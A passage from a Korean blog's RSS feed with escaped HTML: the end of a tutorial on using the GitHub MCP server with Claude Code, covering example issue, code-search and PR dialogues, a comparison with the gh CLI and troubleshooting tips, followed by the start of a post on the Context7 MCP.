&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;#128&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;로그인 500 에러&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;span style=&quot;color: #d73a4a;&quot;&gt;심각도: 높음&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;난이도: 중&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;border-bottom: 1px solid #eee;&quot;&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;#125&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;결제 금액 소수점 반올림 오류&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;span style=&quot;color: #d73a4a;&quot;&gt;심각도: 높음&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;난이도: 낮&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;b&gt;#120&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;다크모드 전환 시 깜빡임&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;&lt;span style=&quot;color: #e3b341;&quot;&gt;심각도: 중간&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 6px 8px;&quot;&gt;난이도: 낮&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 8px 0 0 0; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;... 외 9건&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;list_issues&lt;/code&gt;로 이슈 목록을 가져오고, 각 이슈 내용을 분석해서 정리된 형태로 응답한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 5: 코드 검색으로 버그 패턴 찾기&lt;/h3&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; GitHub에서 my-org/my-repo 리포지토리 안에 'console.log'를 코드에서 찾아줘. 프로덕션에 남은 디버그 로그를 확인하고 싶어.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 코드 검색을 실행하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;search_code&lt;/code&gt; query: &quot;console.log repo:my-org/my-repo&quot; &amp;rarr; 7건 발견&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;프로덕션 코드에서 &lt;code&gt;console.log&lt;/code&gt;가 7곳 발견되었습니다:&lt;/p&gt;
&lt;div style=&quot;background: #fff; border: 1px solid #d0d7de; border-radius: 6px; padding: 12px 16px; margin: 4px 0; font-size: 13px; font-family: monospace;&quot;&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;src/api/users.ts:23 &amp;nbsp; &lt;code&gt;console.log('user data:', userData)&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0;&quot; data-ke-size=&quot;size16&quot;&gt;src/api/payment.ts:87 &amp;nbsp; &lt;code&gt;console.log('payment result', result)&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;src/utils/debug.ts:5 &amp;nbsp; &lt;code&gt;console.log('debug mode enabled')&lt;/code&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 4px 0 0 0; color: #888;&quot; data-ke-size=&quot;size16&quot;&gt;... 외 4건&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude가 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;search_code&lt;/code&gt;를 사용해서 GitHub의 네이티브 코드 검색 엔진으로 정확한 결과를 반환한다. 파일 경로와 라인 번호까지 포함되어 바로 수정할 위치를 파악할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 6: 멀티 레포 작업 &amp;mdash; 여러 리포지토리 동시 관리&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub MCP는 하나의 토큰으로 접근 가능한 모든 리포지토리를 다룰 수 있다. 여러 레포의 상태를 한 번에 파악하거나 일괄 작업이 가능하다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f7ff; border-left: 4px solid #1a73e8; padding: 1em 1.2em; margin: 1em 0; border-radius: 4px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자:&lt;/b&gt; my-org/frontend와 my-org/backend 두 레포에서 이번 주 생성된 PR 목록을 한 번에 보여줘.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude:&lt;/b&gt; 두 리포지토리의 최근 PR을 조회하겠습니다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;list_pull_requests(&quot;my-org/frontend&quot;)&lt;/code&gt; &amp;rarr; 3건&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 4px 0; color: #888; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #dbe9f8; padding: 1px 5px; border-radius: 3px;&quot;&gt;list_pull_requests(&quot;my-org/backend&quot;)&lt;/code&gt; &amp;rarr; 2건&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;이번 주 PR 현황입니다:&lt;/p&gt;
&lt;div style=&quot;background: #fff; border: 1px solid #d0d7de; border-radius: 6px; padding: 12px 16px; margin: 4px 0; font-size: 13px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;my-org/frontend&lt;/b&gt; (3건)&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 3px 0; padding-left: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;#201 feat: 검색 필터 UI 개선 &amp;mdash; &lt;span style=&quot;color: #28a745;&quot;&gt;merged&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 3px 0; padding-left: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;#202 fix: 모바일 레이아웃 깨짐 &amp;mdash; &lt;span style=&quot;color: #e3b341;&quot;&gt;review requested&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0; padding-left: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;#203 chore: deps 업데이트 &amp;mdash; &lt;span style=&quot;color: #1a73e8;&quot;&gt;open&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;my-org/backend&lt;/b&gt; (2건)&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 3px 0; padding-left: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;#89 feat: 검색 API 엔드포인트 추가 &amp;mdash; &lt;span style=&quot;color: #28a745;&quot;&gt;merged&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0; padding-left: 12px;&quot; data-ke-size=&quot;size16&quot;&gt;#90 fix: N+1 쿼리 최적화 &amp;mdash; &lt;span style=&quot;color: #e3b341;&quot;&gt;review requested&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;멀티 레포 작업의 장점&lt;/b&gt;&lt;br /&gt;프론트엔드/백엔드가 분리된 프로젝트에서 &quot;검색 기능 관련 PR 전체 현황을 보여줘&quot;처럼 기능 단위로 여러 레포를 한 번에 파악할 수 있다. gh CLI로는 레포별로 명령어를 따로 실행해야 하지만, GitHub MCP에서는 자연어 하나로 처리된다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. GitHub CLI (gh) vs GitHub MCP 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub MCP를 쓰면 기존에 사용하던 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px; font-family: monospace;&quot;&gt;gh&lt;/code&gt; CLI가 필요 없을까? 두 도구의 차이를 알면 각각 언제 쓸지 판단하기 쉽다.&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;GitHub CLI (gh)&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #cce5ff;&quot;&gt;GitHub MCP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;사용 방식&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;터미널 명령어 직접 입력&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;AI와 자연어 대화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;학습 곡선&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;명령어/플래그 암기 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;자연어로 요청&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;자동화 스크립트&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;셸 스크립트로 쉽게 자동화&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;AI 에이전트 내에서 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;컨텍스트 활용&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;없음 (명시적 파라미터만)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;대화 컨텍스트 활용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;복합 작업&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;여러 명령 수동 조합 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;AI가 여러 Tool을 자동 조합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;정밀 제어&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;플래그로 세밀한 제어 가능&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;자연어 이해에 의존&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;CI/CD 파이프라인&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;적합&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;부적합 (AI 에이전트 환경 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #ffffff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff; font-weight: 600;&quot;&gt;코드와 연동&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;별도 작업 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #cce5ff;&quot;&gt;코드 작성 &amp;rarr; GitHub 작업 연속으로 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;어떤 걸 써야 할까?&lt;/b&gt;&lt;br /&gt;둘을 같이 쓰면 된다. Claude Code 내에서 코드를 작성하고 GitHub 작업을 함께 처리할 땐 GitHub MCP, CI/CD 파이프라인이나 셸 스크립트 자동화는 gh CLI가 더 적합하다. 두 도구는 서로 대체재가 아니라 보완재다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 주의사항 및 트러블슈팅&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 1: 401 Unauthorized &amp;mdash; 토큰 인증 실패&lt;/b&gt;&lt;br /&gt;GITHUB_PERSONAL_ACCESS_TOKEN이 잘못 설정되었거나 만료된 경우 발생한다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;토큰이 올바르게 설정되었는지 확인: &lt;code style=&quot;background: #f5c6cb; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;echo $GITHUB_PERSONAL_ACCESS_TOKEN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;토큰 만료 여부 확인 후 GitHub에서 새 토큰 발급&lt;/li&gt;
&lt;li&gt;필요한 권한(Permissions)이 포함되어 있는지 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 2: Docker가 실행되지 않음&lt;/b&gt;&lt;br /&gt;Docker Desktop이 꺼져 있으면 MCP 서버가 시작되지 않는다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; Docker Desktop을 실행하고 Claude Code를 재시작한다. &lt;code style=&quot;background: #f5c6cb; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;docker ps&lt;/code&gt;로 Docker 상태를 확인할 수 있다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 3: 403 Forbidden &amp;mdash; 권한 부족&lt;/b&gt;&lt;br /&gt;토큰에 필요한 권한이 없을 때 발생한다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; GitHub에서 토큰 설정으로 가서 필요한 Permissions를 추가한다. 특히 조직 리포지토리의 경우 Organization access도 승인해야 한다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;문제 4: rate limit 초과&lt;/b&gt;&lt;br /&gt;GitHub API는 인증된 요청 기준 시간당 5,000회 요청 제한이 있다. 대량의 검색이나 조회 시 초과할 수 있다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt; 잠시 기다리거나, 불필요한 반복 요청을 줄인다.&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 쓰기 작업은 되돌리기 어렵다&lt;/b&gt;&lt;br /&gt;&lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;create_or_update_file&lt;/code&gt;, &lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;merge_pull_request&lt;/code&gt;, &lt;code style=&quot;background: #fff0b0; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;delete_file&lt;/code&gt; 같은 쓰기 작업은 실제 GitHub에 반영된다. AI에게 쓰기 작업을 위임할 때는 프롬프트를 정확하게 작성하고, 실행 전 확인 단계를 두는 것이 좋다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub MCP는 AI 코딩 워크플로에서 GitHub 작업을 자연어로 처리할 수 있게 해주는 강력한 도구다. 코드 작성 &amp;rarr; 브랜치 생성 &amp;rarr; 파일 푸시 &amp;rarr; PR 생성 &amp;rarr; 리뷰까지, Claude Code 대화창을 벗어나지 않고 처리할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;특히 반복적인 이슈 생성, PR 작성, 코드 검색 같은 작업을 AI에게 위임하면 개발 흐름을 끊지 않고 생산성을 높일 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;GitHub MCP 핵심 요약&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공식 리포: &lt;a href=&quot;https://github.com/github/github-mcp-server&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github/github-mcp-server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;설치: &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;claude mcp add github -e GITHUB_PERSONAL_ACCESS_TOKEN=... -- docker run -i --rm -e GITHUB_PERSONAL_ACCESS_TOKEN ghcr.io/github/github-mcp-server&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;필요: Docker, GitHub Personal Access Token (Fine-grained 권장)&lt;/li&gt;
&lt;li&gt;주요 Tools: &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;create_pull_request&lt;/code&gt;, &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;issue_write&lt;/code&gt;, &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;search_code&lt;/code&gt;, &lt;code style=&quot;background: #c8e6c9; padding: 1px 5px; border-radius: 3px; font-family: monospace;&quot;&gt;get_file_contents&lt;/code&gt; 등 20개 이상&lt;/li&gt;
&lt;li&gt;토큰은 환경 변수로 관리, 최소 권한 원칙 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;참고: &lt;a href=&quot;https://github.com/github/github-mcp-server&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub - github/github-mcp-server&lt;/a&gt; / &lt;a href=&quot;https://docs.github.com/en/copilot/how-tos/provide-context/use-mcp/use-the-github-mcp-server&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Docs - Using the GitHub MCP Server&lt;/a&gt; / &lt;a href=&quot;https://github.blog/ai-and-ml/generative-ai/a-practical-guide-on-how-to-use-the-github-mcp-server/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Blog - Practical Guide&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/MCP(2026) vs CLI</category>
      <category>AI GitHub 자동화</category>
      <category>Claude Code GitHub 연동</category>
      <category>github mcp</category>
      <category>GitHub MCP Docker 설치</category>
      <category>GitHub MCP 설치 방법</category>
      <category>GitHub Personal Access Token</category>
      <category>GitHub PR 자동 생성</category>
      <category>GitHub 이슈 관리 AI</category>
      <category>github-mcp-server</category>
      <category>자연어 GitHub 조작</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/537</guid>
      <comments>https://goddaehee.tistory.com/537#entry537comment</comments>
      <pubDate>Fri, 6 Mar 2026 00:06:35 +0900</pubDate>
    </item>
    <item>
      <title>개발자를 위한 MCP 추천(1) - Context7 MCP 설치 및 사용방법 : &amp;quot;use context7&amp;quot; 한 줄로 AI가 최신 Next.js App Router 코드를 쓰게 하는 법</title>
      <link>https://goddaehee.tistory.com/536</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- ✦ 2026년 시리즈 도입부 ✦ --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 28px 30px; border-radius: 16px; margin-bottom: 10px; color: white;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 12px; opacity: 0.75; letter-spacing: 1.5px; font-weight: 600; text-transform: uppercase;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 &amp;middot; 개발자를 위한 MCP 추천 시리즈&lt;/p&gt;
&lt;h2 style=&quot;margin: 0 0 14px 0; font-size: 22px; font-weight: 800; line-height: 1.4; color: white;&quot; data-ke-size=&quot;size26&quot;&gt;&quot;MCP가 죽었다&quot;말도 나오는데, 그래도 현시점 쓸만한 MCP 10개&lt;/h2&gt;
&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.92;&quot; data-ke-size=&quot;size16&quot;&gt;2025년에 썼던 개발자용 MCP 시리즈들이, 이제 상당 부분 구버전이 됐다. &lt;br /&gt;생태계가 빠르게 변했고, 새로 등장한 도구들도 많다. &lt;br /&gt;2026년 3월, 다시 한번 실제로 써보고 쓸 만한 것들만 골라 정리해려고 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 5px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 10px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;이 시리즈를 다시 쓰는 이유&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;지난 2월 말, &lt;a href=&quot;https://goddaehee.tistory.com/535&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&quot;MCP는 죽었다, CLI 만세 &amp;mdash; Eric Holmes의 도발적 주장&quot;&lt;/a&gt;이라는 글을 정리한 적이 있다. Eric Holmes가 주장한 핵심은 간단하다. &lt;b&gt;LLM은 이미 CLI에 능숙하다. 그렇다면 MCP라는 별도의 추상 계층이 굳이 필요한가?&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;실제로 Claude Code 환경에서 MCP 대신 &lt;b&gt;CLI&lt;/b&gt;로 해결되는 경우가 꽤 많다. 디버깅도 쉽고, 별도 프로세스 관리도 없고, 기존 인증도 그대로 쓸 수 있다. 그 글에서 공감하신 분들이 많았다.&lt;br /&gt;&lt;b&gt;그럼에도 불구하고, MCP만이 줄 수 있는 가치가 분명히 존재한다.&lt;/b&gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;오늘은 개발자를 위한 MCP 시리즈 중에서 &lt;b&gt;&quot;Context7 MCP&quot;&lt;/b&gt;에 대해 알아보려고 한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;1214&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cim2uE/dJMcafZ1IG7/Vx4XBvcKyge9pR5JITFSA1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cim2uE/dJMcafZ1IG7/Vx4XBvcKyge9pR5JITFSA1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cim2uE/dJMcafZ1IG7/Vx4XBvcKyge9pR5JITFSA1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcim2uE%2FdJMcafZ1IG7%2FVx4XBvcKyge9pR5JITFSA1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2128&quot; height=&quot;1214&quot; data-origin-width=&quot;2128&quot; data-origin-height=&quot;1214&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
